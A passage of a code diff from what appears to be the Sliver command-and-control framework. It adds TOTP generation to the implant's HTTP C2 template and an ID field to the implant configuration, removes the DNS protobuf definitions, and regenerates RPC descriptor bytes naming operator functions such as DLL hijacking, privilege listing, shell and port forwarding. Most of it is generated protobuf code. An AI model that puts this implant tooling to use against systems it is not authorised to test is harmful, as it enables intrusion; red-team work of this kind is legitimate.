seg := segments[insecureRand.Intn(len(segments))]
genSegments = append(genSegments, seg)
}
}
filename := filenames[insecureRand.Intn(len(filenames))]
genSegments = append(genSegments, filename)
@@ -450,4 +551,19 @@ func (jar *Jar) Cookies(u *url.URL) []*http.Cookie {
return jar.cookies
}
func getOTPCode() string {
now := time.Now().UTC()
opts := totp.ValidateOpts{
Digits: 8,
Algorithm: otp.AlgorithmSHA256,
Period: uint(30),
Skew: uint(1),
}
code, _ := totp.GenerateCodeCustom("{{ .OTPSecret }}", now, opts)
// {{if .Config.Debug}}
log.Printf("HTTP(S) TOTP Code: %s", code)
// {{end}}
return code
}
// {{end}} -HTTPc2Enabled
+11 -2
View File
@@ -658,6 +658,7 @@ type ImplantConfig struct {
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
ID string `protobuf:"bytes,100,opt,name=ID,proto3" json:"ID,omitempty"`
GOOS string `protobuf:"bytes,1,opt,name=GOOS,proto3" json:"GOOS,omitempty"`
GOARCH string `protobuf:"bytes,2,opt,name=GOARCH,proto3" json:"GOARCH,omitempty"`
Name string `protobuf:"bytes,3,opt,name=Name,proto3" json:"Name,omitempty"`
@@ -722,6 +723,13 @@ func (*ImplantConfig) Descriptor() ([]byte, []int) {
return file_clientpb_client_proto_rawDescGZIP(), []int{3}
}
func (x *ImplantConfig) GetID() string {
if x != nil {
return x.ID
}
return ""
}
func (x *ImplantConfig) GetGOOS() string {
if x != nil {
return x.GOOS
@@ -4521,8 +4529,9 @@ var file_clientpb_client_proto_rawDesc = []byte{
0x72, 0x69, 0x6f, 0x72, 0x69, 0x74, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x55, 0x52, 0x4c, 0x18, 0x02,
0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x55, 0x52, 0x4c, 0x12, 0x18, 0x0a, 0x07, 0x4f, 0x70, 0x74,
0x69, 0x6f, 0x6e, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x4f, 0x70, 0x74, 0x69,
0x6f, 0x6e, 0x73, 0x22, 0xfc, 0x07, 0x0a, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43,
0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x01, 0x20,
0x6f, 0x6e, 0x73, 0x22, 0x8c, 0x08, 0x0a, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43,
0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x64, 0x20, 0x01, 0x28,
0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x01, 0x20,
0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41,
0x52, 0x43, 0x48, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43,
0x48, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52,
+2
View File
@@ -59,6 +59,8 @@ enum OutputFormat {
}
message ImplantConfig {
string ID = 100;
string GOOS = 1;
string GOARCH = 2;
string Name = 3;
-255
View File
@@ -1,255 +0,0 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.26.0
// protoc v3.17.3
// source: dnspb/dns.proto
package dnspb
import (
protoreflect "google.golang.org/protobuf/reflect/protoreflect"
protoimpl "google.golang.org/protobuf/runtime/protoimpl"
reflect "reflect"
sync "sync"
)
const (
// Verify that this generated code is sufficiently up-to-date.
_ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion)
// Verify that runtime/protoimpl is sufficiently up-to-date.
_ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20)
)
type DNSMessageType int32
const (
DNSMessageType_NOP DNSMessageType = 0
DNSMessageType_DOMAIN_KEY DNSMessageType = 1
DNSMessageType_SESSION_INIT DNSMessageType = 2
DNSMessageType_SESSION_POLL DNSMessageType = 3
DNSMessageType_BLOCK_PREAMBLE DNSMessageType = 7
DNSMessageType_BLOCK_DATA DNSMessageType = 8
DNSMessageType_BLOCK_CLEAR DNSMessageType = 9
)
// Enum value maps for DNSMessageType.
var (
DNSMessageType_name = map[int32]string{
0: "NOP",
1: "DOMAIN_KEY",
2: "SESSION_INIT",
3: "SESSION_POLL",
7: "BLOCK_PREAMBLE",
8: "BLOCK_DATA",
9: "BLOCK_CLEAR",
}
DNSMessageType_value = map[string]int32{
"NOP": 0,
"DOMAIN_KEY": 1,
"SESSION_INIT": 2,
"SESSION_POLL": 3,
"BLOCK_PREAMBLE": 7,
"BLOCK_DATA": 8,
"BLOCK_CLEAR": 9,
}
)
func (x DNSMessageType) Enum() *DNSMessageType {
p := new(DNSMessageType)
*p = x
return p
}
func (x DNSMessageType) String() string {
return protoimpl.X.EnumStringOf(x.Descriptor(), protoreflect.EnumNumber(x))
}
func (DNSMessageType) Descriptor() protoreflect.EnumDescriptor {
return file_dnspb_dns_proto_enumTypes[0].Descriptor()
}
func (DNSMessageType) Type() protoreflect.EnumType {
return &file_dnspb_dns_proto_enumTypes[0]
}
func (x DNSMessageType) Number() protoreflect.EnumNumber {
return protoreflect.EnumNumber(x)
}
// Deprecated: Use DNSMessageType.Descriptor instead.
func (DNSMessageType) EnumDescriptor() ([]byte, []int) {
return file_dnspb_dns_proto_rawDescGZIP(), []int{0}
}
type DNSMessage struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
Type DNSMessageType `protobuf:"varint,1,opt,name=Type,proto3,enum=dnspb.DNSMessageType" json:"Type,omitempty"`
ID uint32 `protobuf:"varint,2,opt,name=ID,proto3" json:"ID,omitempty"`
N uint32 `protobuf:"varint,3,opt,name=N,proto3" json:"N,omitempty"`
Size uint32 `protobuf:"varint,4,opt,name=Size,proto3" json:"Size,omitempty"`
Data []byte `protobuf:"bytes,5,opt,name=Data,proto3" json:"Data,omitempty"`
}
func (x *DNSMessage) Reset() {
*x = DNSMessage{}
if protoimpl.UnsafeEnabled {
mi := &file_dnspb_dns_proto_msgTypes[0]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
}
func (x *DNSMessage) String() string {
return protoimpl.X.MessageStringOf(x)
}
func (*DNSMessage) ProtoMessage() {}
func (x *DNSMessage) ProtoReflect() protoreflect.Message {
mi := &file_dnspb_dns_proto_msgTypes[0]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
}
return ms
}
return mi.MessageOf(x)
}
// Deprecated: Use DNSMessage.ProtoReflect.Descriptor instead.
func (*DNSMessage) Descriptor() ([]byte, []int) {
return file_dnspb_dns_proto_rawDescGZIP(), []int{0}
}
func (x *DNSMessage) GetType() DNSMessageType {
if x != nil {
return x.Type
}
return DNSMessageType_NOP
}
func (x *DNSMessage) GetID() uint32 {
if x != nil {
return x.ID
}
return 0
}
func (x *DNSMessage) GetN() uint32 {
if x != nil {
return x.N
}
return 0
}
func (x *DNSMessage) GetSize() uint32 {
if x != nil {
return x.Size
}
return 0
}
func (x *DNSMessage) GetData() []byte {
if x != nil {
return x.Data
}
return nil
}
var File_dnspb_dns_proto protoreflect.FileDescriptor
var file_dnspb_dns_proto_rawDesc = []byte{
0x0a, 0x0f, 0x64, 0x6e, 0x73, 0x70, 0x62, 0x2f, 0x64, 0x6e, 0x73, 0x2e, 0x70, 0x72, 0x6f, 0x74,
0x6f, 0x12, 0x05, 0x64, 0x6e, 0x73, 0x70, 0x62, 0x22, 0x7d, 0x0a, 0x0a, 0x44, 0x4e, 0x53, 0x4d,
0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x12, 0x29, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01,
0x20, 0x01, 0x28, 0x0e, 0x32, 0x15, 0x2e, 0x64, 0x6e, 0x73, 0x70, 0x62, 0x2e, 0x44, 0x4e, 0x53,
0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x54, 0x79, 0x70, 0x65, 0x52, 0x04, 0x54, 0x79, 0x70,
0x65, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, 0x49,
0x44, 0x12, 0x0c, 0x0a, 0x01, 0x4e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x01, 0x4e, 0x12,
0x12, 0x0a, 0x04, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x53,
0x69, 0x7a, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x05, 0x20, 0x01, 0x28,
0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x2a, 0x82, 0x01, 0x0a, 0x0e, 0x44, 0x4e, 0x53, 0x4d,
0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x07, 0x0a, 0x03, 0x4e, 0x4f,
0x50, 0x10, 0x00, 0x12, 0x0e, 0x0a, 0x0a, 0x44, 0x4f, 0x4d, 0x41, 0x49, 0x4e, 0x5f, 0x4b, 0x45,
0x59, 0x10, 0x01, 0x12, 0x10, 0x0a, 0x0c, 0x53, 0x45, 0x53, 0x53, 0x49, 0x4f, 0x4e, 0x5f, 0x49,
0x4e, 0x49, 0x54, 0x10, 0x02, 0x12, 0x10, 0x0a, 0x0c, 0x53, 0x45, 0x53, 0x53, 0x49, 0x4f, 0x4e,
0x5f, 0x50, 0x4f, 0x4c, 0x4c, 0x10, 0x03, 0x12, 0x12, 0x0a, 0x0e, 0x42, 0x4c, 0x4f, 0x43, 0x4b,
0x5f, 0x50, 0x52, 0x45, 0x41, 0x4d, 0x42, 0x4c, 0x45, 0x10, 0x07, 0x12, 0x0e, 0x0a, 0x0a, 0x42,
0x4c, 0x4f, 0x43, 0x4b, 0x5f, 0x44, 0x41, 0x54, 0x41, 0x10, 0x08, 0x12, 0x0f, 0x0a, 0x0b, 0x42,
0x4c, 0x4f, 0x43, 0x4b, 0x5f, 0x43, 0x4c, 0x45, 0x41, 0x52, 0x10, 0x09, 0x42, 0x2c, 0x5a, 0x2a,
0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f,
0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74,
0x6f, 0x62, 0x75, 0x66, 0x2f, 0x64, 0x6e, 0x73, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74,
0x6f, 0x33,
}
var (
file_dnspb_dns_proto_rawDescOnce sync.Once
file_dnspb_dns_proto_rawDescData = file_dnspb_dns_proto_rawDesc
)
func file_dnspb_dns_proto_rawDescGZIP() []byte {
file_dnspb_dns_proto_rawDescOnce.Do(func() {
file_dnspb_dns_proto_rawDescData = protoimpl.X.CompressGZIP(file_dnspb_dns_proto_rawDescData)
})
return file_dnspb_dns_proto_rawDescData
}
var file_dnspb_dns_proto_enumTypes = make([]protoimpl.EnumInfo, 1)
var file_dnspb_dns_proto_msgTypes = make([]protoimpl.MessageInfo, 1)
var file_dnspb_dns_proto_goTypes = []interface{}{
(DNSMessageType)(0), // 0: dnspb.DNSMessageType
(*DNSMessage)(nil), // 1: dnspb.DNSMessage
}
var file_dnspb_dns_proto_depIdxs = []int32{
0, // 0: dnspb.DNSMessage.Type:type_name -> dnspb.DNSMessageType
1, // [1:1] is the sub-list for method output_type
1, // [1:1] is the sub-list for method input_type
1, // [1:1] is the sub-list for extension type_name
1, // [1:1] is the sub-list for extension extendee
0, // [0:1] is the sub-list for field type_name
}
func init() { file_dnspb_dns_proto_init() }
func file_dnspb_dns_proto_init() {
if File_dnspb_dns_proto != nil {
return
}
if !protoimpl.UnsafeEnabled {
file_dnspb_dns_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*DNSMessage); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
}
type x struct{}
out := protoimpl.TypeBuilder{
File: protoimpl.DescBuilder{
GoPackagePath: reflect.TypeOf(x{}).PkgPath(),
RawDescriptor: file_dnspb_dns_proto_rawDesc,
NumEnums: 1,
NumMessages: 1,
NumExtensions: 0,
NumServices: 0,
},
GoTypes: file_dnspb_dns_proto_goTypes,
DependencyIndexes: file_dnspb_dns_proto_depIdxs,
EnumInfos: file_dnspb_dns_proto_enumTypes,
MessageInfos: file_dnspb_dns_proto_msgTypes,
}.Build()
File_dnspb_dns_proto = out.File
file_dnspb_dns_proto_rawDesc = nil
file_dnspb_dns_proto_goTypes = nil
file_dnspb_dns_proto_depIdxs = nil
}
-23
View File
@@ -1,23 +0,0 @@
syntax = "proto3";
package dnspb;
option go_package = "github.com/bishopfox/sliver/protobuf/dnspb";
enum DNSMessageType {
NOP = 0; // aka FINGERPRINT
DOMAIN_KEY = 1;
SESSION_INIT = 2;
SESSION_POLL = 3;
BLOCK_PREAMBLE = 7;
BLOCK_DATA = 8;
BLOCK_CLEAR = 9;
}
message DNSMessage {
DNSMessageType Type = 1;
uint32 ID = 2;
uint32 N = 3;
uint32 Size = 4;
bytes Data = 5;
}
+274 -247
View File
@@ -31,7 +31,7 @@ var file_rpcpb_services_proto_rawDesc = []byte{
0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2f, 0x73,
0x6c, 0x69, 0x76, 0x65, 0x72, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x63, 0x6c, 0x69,
0x65, 0x6e, 0x74, 0x70, 0x62, 0x2f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x2e, 0x70, 0x72, 0x6f,
0x74, 0x6f, 0x32, 0xa4, 0x2b, 0x0a, 0x09, 0x53, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x52, 0x50, 0x43,
0x74, 0x6f, 0x32, 0x86, 0x2d, 0x0a, 0x09, 0x53, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x52, 0x50, 0x43,
0x12, 0x30, 0x0a, 0x0a, 0x47, 0x65, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x0f,
0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a,
0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x56, 0x65, 0x72, 0x73, 0x69,
@@ -323,64 +323,79 @@ var file_rpcpb_services_proto_rawDesc = []byte{
0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79,
0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73,
0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79,
0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x3e, 0x0a, 0x0d, 0x52, 0x75, 0x6e,
0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x17, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64,
0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53,
0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x38, 0x0a, 0x09, 0x48, 0x69, 0x6a,
0x61, 0x63, 0x6b, 0x44, 0x4c, 0x4c, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
0x62, 0x2e, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x52, 0x65, 0x71, 0x1a, 0x13,
0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a,
0x61, 0x63, 0x6b, 0x12, 0x4e, 0x0a, 0x12, 0x57, 0x47, 0x53, 0x74, 0x61, 0x72, 0x74, 0x50, 0x6f,
0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76,
0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61,
0x72, 0x64, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69,
0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x54, 0x0a, 0x13, 0x52, 0x65, 0x67,
0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x53, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x73,
0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69,
0x73, 0x74, 0x72, 0x79, 0x53, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65,
0x71, 0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67,
0x69, 0x73, 0x74, 0x72, 0x79, 0x53, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x12,
0x53, 0x0a, 0x12, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x56,
0x61, 0x6c, 0x75, 0x65, 0x73, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x56, 0x61, 0x6c,
0x75, 0x65, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73,
0x4c, 0x69, 0x73, 0x74, 0x12, 0x3e, 0x0a, 0x0d, 0x52, 0x75, 0x6e, 0x53, 0x53, 0x48, 0x43, 0x6f,
0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
0x2e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x14,
0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d,
0x6d, 0x61, 0x6e, 0x64, 0x12, 0x38, 0x0a, 0x09, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x44, 0x4c,
0x4c, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x44, 0x6c, 0x6c,
0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76,
0x65, 0x72, 0x70, 0x62, 0x2e, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x12, 0x35,
0x0a, 0x08, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x52, 0x65,
0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74,
0x50, 0x72, 0x69, 0x76, 0x73, 0x12, 0x4e, 0x0a, 0x12, 0x57, 0x47, 0x53, 0x74, 0x61, 0x72, 0x74,
0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x1f, 0x2e, 0x73, 0x6c,
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72,
0x77, 0x61, 0x72, 0x64, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73,
0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f,
0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x4c, 0x0a, 0x11, 0x57, 0x47, 0x53, 0x74, 0x6f, 0x70, 0x50,
0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77,
0x61, 0x72, 0x64, 0x12, 0x4c, 0x0a, 0x11, 0x57, 0x47, 0x53, 0x74, 0x6f, 0x70, 0x50, 0x6f, 0x72,
0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72,
0x64, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72,
0x64, 0x12, 0x3c, 0x0a, 0x0c, 0x57, 0x47, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x6f, 0x63, 0x6b,
0x73, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53,
0x6f, 0x63, 0x6b, 0x73, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73,
0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12,
0x3a, 0x0a, 0x0b, 0x57, 0x47, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x18,
0x61, 0x72, 0x64, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77,
0x61, 0x72, 0x64, 0x12, 0x3c, 0x0a, 0x0c, 0x57, 0x47, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x6f,
0x63, 0x6b, 0x73, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57,
0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x11,
0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b,
0x73, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x4b, 0x0a, 0x10, 0x57,
0x47, 0x4c, 0x69, 0x73, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x12,
0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x54, 0x43, 0x50,
0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x19, 0x2e,
0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f,
0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x12, 0x4b, 0x0a, 0x12, 0x57, 0x47, 0x4c, 0x69,
0x73, 0x74, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x1b,
0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b,
0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c,
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65,
0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x2c, 0x0a, 0x05, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x12,
0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x52,
0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68,
0x65, 0x6c, 0x6c, 0x12, 0x32, 0x0a, 0x07, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x14,
0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77,
0x64, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x32, 0x0a, 0x0c, 0x43, 0x72, 0x65, 0x61, 0x74,
0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76,
0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x30, 0x0a, 0x0b, 0x43,
0x6c, 0x6f, 0x73, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x0f, 0x2e, 0x63,
0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3c, 0x0a,
